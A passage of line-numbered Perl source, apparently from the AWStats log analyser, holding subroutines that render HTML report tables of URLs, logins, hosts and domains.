12049"Total real / shown : $TotalPagesRobots / $total_p - $TotalHitsRobots / $total_h - $TotalBytesRobots / $total_k", 12050 2 12051 ); 12052 } 12053 if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 ) 12054 { # All other robots 12055 print 12056"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 12057 if ( $ShowRobotsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } 12058 if ( $ShowRobotsStats =~ /B/i ) { 12059 print "<td>" . ( Format_Bytes($rest_k) ) . "</td>"; 12060 } 12061 if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; } 12062 print "</tr>\n"; 12063 } 12064 &tab_end( 12065 "* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) ); 12066 &html_end(1); 12067} 12068 12069#------------------------------------------------------------------------------ 12070# Function: Prints the URL, Entry or Exit details frame or static page 12071# Parameters: _ 12072# Input: _ 12073# Output: HTML 12074# Return: - 12075#------------------------------------------------------------------------------ 12076sub HTMLShowURLDetail{ 12077 my $total_p = 0; 12078 my $total_e = 0; 12079 my $total_k = 0; 12080 my $total_x = 0; 12081 # Call to plugins' function ShowPagesFilter 12082 foreach 12083 my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesFilter'} } ) 12084 { 12085 my $function = "ShowPagesFilter_$pluginname"; 12086 &$function(); 12087 } 12088 print "$Center<a name=\"urls\"> </a><br />\n"; 12089 12090 # Show filter form 12091 &HTMLShowFormFilter( "urlfilter", $FilterIn{'url'}, $FilterEx{'url'} ); 12092 12093 # Show URL list 12094 my $title = ''; 12095 my $cpt = 0; 12096 if ( $HTMLOutput{'urldetail'} ) { 12097 $title = $Message[19]; 12098 $cpt = ( scalar keys %_url_p ); 12099 } 12100 if ( $HTMLOutput{'urlentry'} ) { 12101 $title = $Message[104]; 12102 $cpt = ( scalar keys %_url_e ); 12103 } 12104 if ( $HTMLOutput{'urlexit'} ) { 12105 $title = $Message[116]; 12106 $cpt = ( scalar keys %_url_x ); 12107 } 12108 &tab_head( "$title", 19, 0, 'urls' ); 12109 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"; 12110 if ( $FilterIn{'url'} || $FilterEx{'url'} ) { 12111 if ( $FilterIn{'url'} ) { 12112 print "$Message[79] <b>$FilterIn{'url'}</b>"; 12113 } 12114 if ( $FilterIn{'url'} && $FilterEx{'url'} ) { print " - "; } 12115 if ( $FilterEx{'url'} ) { 12116 print "Exclude $Message[79] <b>$FilterEx{'url'}</b>"; 12117 } 12118 if ( $FilterIn{'url'} || $FilterEx{'url'} ) { print ": "; } 12119 print Format_Number($cpt)." $Message[28]"; 12120 if ( $MonthRequired ne 'all' ) { 12121 if ( $HTMLOutput{'urldetail'} ) { 12122 print 12123"<br />$Message[102]: ".Format_Number($TotalDifferentPages)." $Message[28]"; 12124 } 12125 } 12126 } 12127 else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; } 12128 print "</th>"; 12129 if ( $ShowPagesStats =~ /P/i ) { 12130 print 12131 "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>"; 12132 } 12133 if ( $ShowPagesStats =~ /B/i ) { 12134 print 12135"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; 12136 } 12137 if ( $ShowPagesStats =~ /E/i ) { 12138 print 12139 "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>"; 12140 } 12141 if ( $ShowPagesStats =~ /X/i ) { 12142 print 12143 "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>"; 12144 } 12145 12146 # Call to plugins' function ShowPagesAddField 12147 foreach 12148 my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) 12149 { 12150 12151 # my $function="ShowPagesAddField_$pluginname('title')"; 12152 # eval("$function"); 12153 my $function = "ShowPagesAddField_$pluginname"; 12154 &$function('title'); 12155 } 12156 print "<th> </th></tr>\n"; 12157 $total_p = $total_k = $total_e = $total_x = 0; 12158 my $count = 0; 12159 if ( $HTMLOutput{'urlentry'} ) { 12160 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_e, 12161 \%_url_e ); 12162 } 12163 elsif ( $HTMLOutput{'urlexit'} ) { 12164 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_x, 12165 \%_url_x ); 12166 } 12167 else { 12168 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_p, 12169 \%_url_p ); 12170 } 12171 my $max_p = 1; 12172 my $max_k = 1; 12173 foreach my $key (@keylist) { 12174 if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; } 12175 if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) { 12176 $max_k = $_url_k{$key} / ( $_url_p{$key} || 1 ); 12177 } 12178 } 12179 foreach my $key (@keylist) { 12180 print "<tr><td class=\"aws\">"; 12181 &HTMLShowURLInfo($key); 12182 print "</td>"; 12183 my $bredde_p = 0; 12184 my $bredde_e = 0; 12185 my $bredde_x = 0; 12186 my $bredde_k = 0; 12187 if ( $max_p > 0 ) { 12188 $bredde_p = 12189 int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1; 12190 } 12191 if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; } 12192 if ( $max_p > 0 ) { 12193 $bredde_e = 12194 int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1; 12195 } 12196 if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; } 12197 if ( $max_p > 0 ) { 12198 $bredde_x = 12199 int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1; 12200 } 12201 if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; } 12202 if ( $max_k > 0 ) { 12203 $bredde_k = 12204 int( $BarWidth * 12205 ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) / 12206 $max_k ) + 1; 12207 } 12208 if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; } 12209 if ( $ShowPagesStats =~ /P/i ) { 12210 print "<td>".Format_Number($_url_p{$key})."</td>"; 12211 } 12212 if ( $ShowPagesStats =~ /B/i ) { 12213 print "<td>" 12214 . ( 12215 $_url_k{$key} 12216 ? Format_Bytes( 12217 $_url_k{$key} / ( $_url_p{$key} || 1 ) 12218 ) 12219 : " " 12220 ) 12221 . "</td>"; 12222 } 12223 if ( $ShowPagesStats =~ /E/i ) { 12224 print "<td>" 12225 . ( $_url_e{$key} ? Format_Number($_url_e{$key}) : " " ) . "</td>"; 12226 } 12227 if ( $ShowPagesStats =~ /X/i ) { 12228 print "<td>" 12229 . ( $_url_x{$key} ? Format_Number($_url_x{$key}) : " " ) . "</td>"; 12230 } 12231 12232 # Call to plugins' function ShowPagesAddField 12233 foreach my $pluginname ( 12234 keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) 12235 { 12236 12237 # my $function="ShowPagesAddField_$pluginname('$key')"; 12238 # eval("$function"); 12239 my $function = "ShowPagesAddField_$pluginname"; 12240 &$function($key); 12241 } 12242 print "<td class=\"aws\">"; 12243 12244 # alt and title are not provided to reduce page size 12245 if ( $ShowPagesStats =~ /P/i ) { 12246 print 12247"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\" /><br />"; 12248 } 12249 if ( $ShowPagesStats =~ /B/i ) { 12250 print 12251"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\" /><br />"; 12252 } 12253 if ( $ShowPagesStats =~ /E/i ) { 12254 print 12255"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\" /><br />"; 12256 } 12257 if ( $ShowPagesStats =~ /X/i ) { 12258 print 12259"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\" />"; 12260 } 12261 print "</td></tr>\n"; 12262 $total_p += $_url_p{$key}; 12263 $total_e += $_url_e{$key}; 12264 $total_x += $_url_x{$key}; 12265 $total_k += $_url_k{$key}; 12266 $count++; 12267 } 12268 if ($Debug) { 12269 debug( 12270"Total real / shown : $TotalPages / $total_p - $TotalEntries / $total_e - $TotalExits / $total_x - $TotalBytesPages / $total_k", 12271 2 12272 ); 12273 } 12274 my $rest_p = $TotalPages - $total_p; 12275 my $rest_k = $TotalBytesPages - $total_k; 12276 my $rest_e = $TotalEntries - $total_e; 12277 my $rest_x = $TotalExits - $total_x; 12278 if ( $rest_p > 0 || $rest_e > 0 || $rest_k > 0 ) { 12279 print 12280"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 12281 if ( $ShowPagesStats =~ /P/i ) { 12282 print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; 12283 } 12284 if ( $ShowPagesStats =~ /B/i ) { 12285 print "<td>" 12286 . ( 12287 $rest_k 12288 ? Format_Bytes( $rest_k / ( $rest_p || 1 ) ) 12289 : " " 12290 ) 12291 . "</td>"; 12292 } 12293 if ( $ShowPagesStats =~ /E/i ) { 12294 print "<td>" . ( $rest_e ? Format_Number($rest_e) : " " ) . "</td>"; 12295 } 12296 if ( $ShowPagesStats =~ /X/i ) { 12297 print "<td>" . ( $rest_x ? Format_Number($rest_x) : " " ) . "</td>"; 12298 } 12299 12300 # Call to plugins' function ShowPagesAddField 12301 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) 12302 { 12303 my $function = "ShowPagesAddField_$pluginname"; 12304 &$function(''); 12305 } 12306 print "<td> </td></tr>\n"; 12307 } 12308 &tab_end(); 12309 &html_end(1); 12310} 12311 12312#------------------------------------------------------------------------------ 12313# Function: Prints the Login details frame or static page 12314# Parameters: _ 12315# Input: _ 12316# Output: HTML 12317# Return: - 12318#------------------------------------------------------------------------------ 12319sub HTMLShowLogins{ 12320 my $total_p = 0; 12321 my $total_h = 0; 12322 my $total_k = 0; 12323 my $rest_p = 0; 12324 my $rest_h = 0; 12325 my $rest_k = 0; 12326 print "$Center<a name=\"logins\"> </a><br />\n"; 12327 my $title = ''; 12328 if ( $HTMLOutput{'alllogins'} ) { $title .= "$Message[94]"; } 12329 if ( $HTMLOutput{'lastlogins'} ) { $title .= "$Message[9]"; } 12330 &tab_head( "$title", 19, 0, 'logins' ); 12331 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : " 12332 . Format_Number(( scalar keys %_login_h )) . "</th>"; 12333 &HTMLShowUserInfo('__title__'); 12334 if ( $ShowAuthenticatedUsers =~ /P/i ) { 12335 print 12336 "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; 12337 } 12338 if ( $ShowAuthenticatedUsers =~ /H/i ) { 12339 print 12340 "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; 12341 } 12342 if ( $ShowAuthenticatedUsers =~ /B/i ) { 12343 print 12344"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 12345 } 12346 if ( $ShowAuthenticatedUsers =~ /L/i ) { 12347 print "<th width=\"120\">$Message[9]</th>"; 12348 } 12349 print "</tr>\n"; 12350 $total_p = $total_h = $total_k = 0; 12351 my $count = 0; 12352 if ( $HTMLOutput{'alllogins'} ) { 12353 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Login'}, 12354 \%_login_h, \%_login_p ); 12355 } 12356 if ( $HTMLOutput{'lastlogins'} ) { 12357 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Login'}, 12358 \%_login_h, \%_login_l ); 12359 } 12360 foreach my $key (@keylist) { 12361 print "<tr><td class=\"aws\">$key</td>"; 12362 &HTMLShowUserInfo($key); 12363 if ( $ShowAuthenticatedUsers =~ /P/i ) { 12364 print "<td>" 12365 . ( $_login_p{$key} ? Format_Number($_login_p{$key}) : " " ) 12366 . "</td>"; 12367 } 12368 if ( $ShowAuthenticatedUsers =~ /H/i ) { 12369 print "<td>".Format_Number($_login_h{$key})."</td>"; 12370 } 12371 if ( $ShowAuthenticatedUsers =~ /B/i ) { 12372 print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>"; 12373 } 12374 if ( $ShowAuthenticatedUsers =~ /L/i ) { 12375 print "<td>" 12376 . ( 12377 $_login_l{$key} 12378 ? Format_Date( $_login_l{$key}, 1 ) 12379 : '-' 12380 ) 12381 . "</td>"; 12382 } 12383 print "</tr>\n"; 12384 $total_p += $_login_p{$key} || 0; 12385 $total_h += $_login_h{$key}; 12386 $total_k += $_login_k{$key} || 0; 12387 $count++; 12388 } 12389 if ($Debug) { 12390 debug( 12391"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h", 12392 2 12393 ); 12394 } 12395 $rest_p = $TotalPages - $total_p; 12396 $rest_h = $TotalHits - $total_h; 12397 $rest_k = $TotalBytes - $total_k; 12398 if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) 12399 { # All other logins and/or anonymous 12400 print 12401"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[125]</span></td>"; 12402 &HTMLShowUserInfo(''); 12403 if ( $ShowAuthenticatedUsers =~ /P/i ) { 12404 print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; 12405 } 12406 if ( $ShowAuthenticatedUsers =~ /H/i ) { 12407 print "<td>".Format_Number($rest_h)."</td>"; 12408 } 12409 if ( $ShowAuthenticatedUsers =~ /B/i ) { 12410 print "<td>" . Format_Bytes($rest_k) . "</td>"; 12411 } 12412 if ( $ShowAuthenticatedUsers =~ /L/i ) { 12413 print "<td> </td>"; 12414 } 12415 print "</tr>\n"; 12416 } 12417 &tab_end(); 12418 &html_end(1); 12419} 12420 12421#------------------------------------------------------------------------------ 12422# Function: Prints the Unknown IP/Host details frame or static page 12423# Parameters: _ 12424# Input: _ 12425# Output: HTML 12426# Return: - 12427#------------------------------------------------------------------------------ 12428sub HTMLShowHostsUnknown{ 12429 my $total_p = 0; 12430 my $total_h = 0; 12431 my $total_k = 0; 12432 my $rest_p = 0; 12433 my $rest_h = 0; 12434 my $rest_k = 0; 12435 print "$Center<a name=\"unknownip\"> </a><br />\n"; 12436 &tab_head( "$Message[45]", 19, 0, 'unknownwip' ); 12437 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>" 12438 . Format_Number(( scalar keys %_host_h )) 12439 . " $Message[1]</th>"; 12440 &HTMLShowHostInfo('__title__'); 12441 if ( $ShowHostsStats =~ /P/i ) { 12442 print 12443 "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; 12444 } 12445 if ( $ShowHostsStats =~ /H/i ) { 12446 print 12447 "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; 12448 } 12449 if ( $ShowHostsStats =~ /B/i ) { 12450 print 12451"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 12452 } 12453 if ( $ShowHostsStats =~ /L/i ) { 12454 print "<th width=\"120\">$Message[9]</th>"; 12455 } 12456 print "</tr>\n"; 12457 $total_p = $total_h = $total_k = 0; 12458 my $count = 0; 12459 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h, 12460 \%_host_p ); 12461 foreach my $key (@keylist) { 12462 my $host = CleanXSS($key); 12463 print "<tr><td class=\"aws\">$host</td>"; 12464 &HTMLShowHostInfo($key); 12465 if ( $ShowHostsStats =~ /P/i ) { 12466 print "<td>" 12467 . ( $_host_p{$key} ? Format_Number($_host_p{$key}) : " " ) 12468 . "</td>"; 12469 } 12470 if ( $ShowHostsStats =~ /H/i ) { 12471 print "<td>".Format_Number($_host_h{$key})."</td>"; 12472 } 12473 if ( $ShowHostsStats =~ /B/i ) { 12474 print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>"; 12475 } 12476 if ( $ShowHostsStats =~ /L/i ) { 12477 print "<td>" 12478 . ( 12479 $_host_l{$key} 12480 ? Format_Date( $_host_l{$key}, 1 ) 12481 : '-' 12482 ) 12483 . "</td>"; 12484 } 12485 print "</tr>\n"; 12486 $total_p += $_host_p{$key}; 12487 $total_h += $_host_h{$key}; 12488 $total_k += $_host_k{$key} || 0; 12489 $count++; 12490 } 12491 if ($Debug) { 12492 debug( 12493"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h", 12494 2 12495 ); 12496 } 12497 $rest_p = $TotalPages - $total_p; 12498 $rest_h = $TotalHits - $total_h; 12499 $rest_k = $TotalBytes - $total_k; 12500 if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) 12501 { # All other visitors (known or not) 12502 print 12503"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[82]</span></td>"; 12504 &HTMLShowHostInfo(''); 12505 if ( $ShowHostsStats =~ /P/i ) { 12506 print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; 12507 } 12508 if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } 12509 if ( $ShowHostsStats =~ /B/i ) { 12510 print "<td>" . Format_Bytes($rest_k) . "</td>"; 12511 } 12512 if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; } 12513 print "</tr>\n"; 12514 } 12515 &tab_end(); 12516 &html_end(1); 12517} 12518 12519#------------------------------------------------------------------------------ 12520# Function: Prints the Host details frame or static page 12521# Parameters: _ 12522# Input: _ 12523# Output: HTML 12524# Return: - 12525#------------------------------------------------------------------------------ 12526sub HTMLShowHosts{ 12527 my $total_p = 0; 12528 my $total_h = 0; 12529 my $total_k = 0; 12530 my $rest_p = 0; 12531 my $rest_h = 0; 12532 my $rest_k = 0; 12533 print "$Center<a name=\"hosts\"> </a><br />\n"; 12534 12535 # Show filter form 12536 &HTMLShowFormFilter( "hostfilter", $FilterIn{'host'}, 12537 $FilterEx{'host'} ); 12538 12539 # Show hosts list 12540 my $title = ''; 12541 my $cpt = 0; 12542 if ( $HTMLOutput{'allhosts'} ) { 12543 $title .= "$Message[81]"; 12544 $cpt = ( scalar keys %_host_h ); 12545 } 12546 if ( $HTMLOutput{'lasthosts'} ) { 12547 $title .= "$Message[9]"; 12548 $cpt = ( scalar keys %_host_h ); 12549 } 12550 &tab_head( "$title", 19, 0, 'hosts' ); 12551 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"; 12552 if ( $FilterIn{'host'} || $FilterEx{'host'} ) { # With filter 12553 if ( $FilterIn{'host'} ) { 12554 print "$Message[79] '<b>$FilterIn{'host'}</b>'"; 12555 } 12556 if ( $FilterIn{'host'} && $FilterEx{'host'} ) { print " - "; } 12557 if ( $FilterEx{'host'} ) { 12558 print " Exclude $Message[79] '<b>$FilterEx{'host'}</b>'"; 12559 } 12560 if ( $FilterIn{'host'} || $FilterEx{'host'} ) { print ": "; } 12561 print "$cpt $Message[81]"; 12562 if ( $MonthRequired ne 'all' ) { 12563 if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) { 12564 print 12565"<br />$Message[102]: ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]"; 12566 } 12567 } 12568 } 12569 else { # Without filter 12570 if ( $MonthRequired ne 'all' ) { 12571 print 12572"$Message[102] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]"; 12573 } 12574 else { print "$Message[102] : " . Format_Number(( scalar keys %_host_h )); } 12575 } 12576 print "</th>"; 12577 &HTMLShowHostInfo('__title__'); 12578 if ( $ShowHostsStats =~ /P/i ) { 12579 print 12580 "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; 12581 } 12582 if ( $ShowHostsStats =~ /H/i ) { 12583 print 12584 "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; 12585 } 12586 if ( $ShowHostsStats =~ /B/i ) { 12587 print 12588"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 12589 } 12590 if ( $ShowHostsStats =~ /L/i ) { 12591 print "<th width=\"120\">$Message[9]</th>"; 12592 } 12593 print "</tr>\n"; 12594 $total_p = $total_h = $total_k = 0; 12595 my $count = 0; 12596 if ( $HTMLOutput{'allhosts'} ) { 12597 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h, 12598 \%_host_p ); 12599 } 12600 if ( $HTMLOutput{'lasthosts'} ) { 12601 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h, 12602 \%_host_l ); 12603 } 12604 my $regipv4=qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; 12605 12606 if ( $DynamicDNSLookup == 2 ) { 12607 # Use static DNS file 12608 &Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 ); 12609 } 12610 12611 foreach my $key (@keylist) { 12612 my $host = CleanXSS($key); 12613 print "<tr><td class=\"aws\">" 12614 . ( $_robot_l{$key} ? '<b>' : '' ) . "$host" 12615 . ( $_robot_l{$key} ? '</b>' : '' ); 12616 12617 if ($DynamicDNSLookup) { 12618 # Dynamic reverse DNS lookup 12619 if ($host =~ /$regipv4/o) { 12620 my $lookupresult=lc(gethostbyaddr(pack("C4",split(/\./,$host)),AF_INET)); # This may be slow 12621 if (! $lookupresult || $lookupresult =~ /$regipv4/o || ! IsAscii($lookupresult)) { 12622 if ( $DynamicDNSLookup == 2 ) { 12623 # Check static DNS file 12624 $lookupresult = $MyDNSTable{$host}; 12625 if ($lookupresult) { print " ($lookupresult)"; } 12626 else { print ""; } 12627 } 12628 else { print ""; } 12629 } 12630 else { print " ($lookupresult)"; } 12631 } 12632 } 12633 12634 print "</td>"; 12635 &HTMLShowHostInfo($key); 12636 if ( $ShowHostsStats =~ /P/i ) { 12637 print "<td>" 12638 . ( $_host_p{$key} ? Format_Number($_host_p{$key}) : " " ) 12639 . "</td>"; 12640 } 12641 if ( $ShowHostsStats =~ /H/i ) { 12642 print "<td>".Format_Number($_host_h{$key})."</td>"; 12643 } 12644 if ( $ShowHostsStats =~ /B/i ) { 12645 print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>"; 12646 } 12647 if ( $ShowHostsStats =~ /L/i ) { 12648 print "<td>" 12649 . ( 12650 $_host_l{$key} 12651 ? Format_Date( $_host_l{$key}, 1 ) 12652 : '-' 12653 ) 12654 . "</td>"; 12655 } 12656 print "</tr>\n"; 12657 $total_p += $_host_p{$key}; 12658 $total_h += $_host_h{$key}; 12659 $total_k += $_host_k{$key} || 0; 12660 $count++; 12661 } 12662 if ($Debug) { 12663 debug( 12664"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h", 12665 2 12666 ); 12667 } 12668 $rest_p = $TotalPages - $total_p; 12669 $rest_h = $TotalHits - $total_h; 12670 $rest_k = $TotalBytes - $total_k; 12671 if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) 12672 { # All other visitors (known or not) 12673 print 12674"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 12675 &HTMLShowHostInfo(''); 12676 if ( $ShowHostsStats =~ /P/i ) { 12677 print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; 12678 } 12679 if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } 12680 if ( $ShowHostsStats =~ /B/i ) { 12681 print "<td>" . Format_Bytes($rest_k) . "</td>"; 12682 } 12683 if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; } 12684 print "</tr>\n"; 12685 } 12686 &tab_end(); 12687 &html_end(1); 12688} 12689 12690#------------------------------------------------------------------------------ 12691# Function: Prints the Domains details frame or static page 12692# Parameters: _ 12693# Input: _ 12694# Output: HTML 12695# Return: - 12696#------------------------------------------------------------------------------ 12697sub HTMLShowDomains{ 12698 my $total_p = 0; 12699 my $total_h = 0; 12700 my $total_k = 0; 12701 my $total_v = 0; 12702 my $total_u = 0; 12703 my $rest_p = 0; 12704 my $rest_h = 0; 12705 my $rest_k = 0; 12706 my $rest_v = 0; 12707 my $rest_u = 0; 12708 print "$Center<a name=\"domains\"> </a><br />\n"; 12709 12710 # Show domains list 12711 my $title = ''; 12712 my $cpt = 0; 12713 if ( $HTMLOutput{'alldomains'} ) { 12714 $title .= "$Message[25]"; 12715 $cpt = ( scalar keys %_domener_h ); 12716 } 12717 &tab_head( "$title", 19, 0, 'domains' ); 12718 print 12719"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>"; 12720 if ( $ShowDomainsStats =~ /U/i ) { 12721 print 12722 "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>"; 12723 } 12724 if ( $ShowDomainsStats =~ /V/i ) { 12725 print 12726 "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>"; 12727 } 12728 if ( $ShowDomainsStats =~ /P/i ) { 12729 print 12730 "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; 12731 } 12732 if ( $ShowDomainsStats =~ /H/i ) { 12733 print 12734 "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; 12735 } 12736 if ( $ShowDomainsStats =~ /B/i ) { 12737 print 12738"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 12739 } 12740 print "<th> </th>"; 12741 print "</tr>\n"; 12742 $total_u = $total_v = $total_p = $total_h = $total_k = 0; 12743 my $max_h = 1; 12744 foreach ( values %_domener_h ) { 12745 if ( $_ > $max_h ) { $max_h = $_; } 12746 } 12747 my $max_k = 1; 12748 foreach ( values %_domener_k ) { 12749 if ( $_ > $max_k ) { $max_k = $_; } 12750 } 12751 my $count = 0; 12752 &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_domener_h, 12753 \%_domener_p ); 12754 foreach my $key (@keylist) { 12755 my ( $_domener_u, $_domener_v ); 12756 my $bredde_p = 0; 12757 my $bredde_h = 0; 12758 my $bredde_k = 0; 12759 if ( $max_h > 0 ) { 12760 $bredde_p = 12761 int( $BarWidth * $_domener_p{$key} / $max_h ) + 1; 12762 } # use max_h to enable to compare pages with hits 12763 if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; } 12764 if ( $max_h > 0 ) { 12765 $bredde_h = 12766 int( $BarWidth * $_domener_h{$key} / $max_h ) + 1; 12767 } 12768 if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; } 12769 if ( $max_k > 0 ) { 12770 $bredde_k = 12771 int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) + 12772 1; 12773 } 12774 if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; } 12775 my $newkey = lc($key); 12776 if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) { 12777 print 12778"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\"" 12779 . AltTitle("$Message[0]") 12780 . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>"; 12781 } 12782 else { 12783 print 12784"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\"" 12785 . AltTitle("$newkey") 12786 . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>"; 12787 } 12788 ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE 12789 if ( $ShowDomainsStats =~ /U/i ) { 12790 $_domener_u = ( 12791 $_domener_p{$key} 12792 ? $_domener_p{$key} / $TotalPages 12793 : 0 12794 ); 12795 $_domener_u += ( $_domener_h{$key} / $TotalHits ); 12796 $_domener_u = 12797 sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 ); 12798 print "<td>".Format_Number($_domener_u)." (" 12799 . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique ) 12800 . ")</td>"; 12801 } 12802 if ( $ShowDomainsStats =~ /V/i ) { 12803 $_domener_v = ( 12804 $_domener_p{$key} 12805 ? $_domener_p{$key} / $TotalPages 12806 : 0 12807 ); 12808 $_domener_v += ( $_domener_h{$key} / $TotalHits ); 12809 $_domener_v = 12810 sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 ); 12811 print "<td>".Format_Number($_domener_v)." (" 12812 . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits ) 12813 . ")</td>"; 12814 } 12815 if ( $ShowDomainsStats =~ /P/i ) { 12816 print "<td>".Format_Number($_domener_p{$key})."</td>"; 12817 } 12818 if ( $ShowDomainsStats =~ /H/i ) { 12819 print "<td>".Format_Number($_domener_h{$key})."</td>"; 12820 } 12821 if ( $ShowDomainsStats =~ /B/i ) { 12822 print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>"; 12823 } 12824 print "<td class=\"aws\">"; 12825 if ( $ShowDomainsStats =~ /P/i ) { 12826 print 12827"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\"" 12828 . AltTitle( "$Message[56]: " . int( $_domener_p{$key} ) ) 12829 . " /><br />\n"; 12830 } 12831 if ( $ShowDomainsStats =~ /H/i ) { 12832 print 12833"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\"" 12834 . AltTitle( "$Message[57]: " . int( 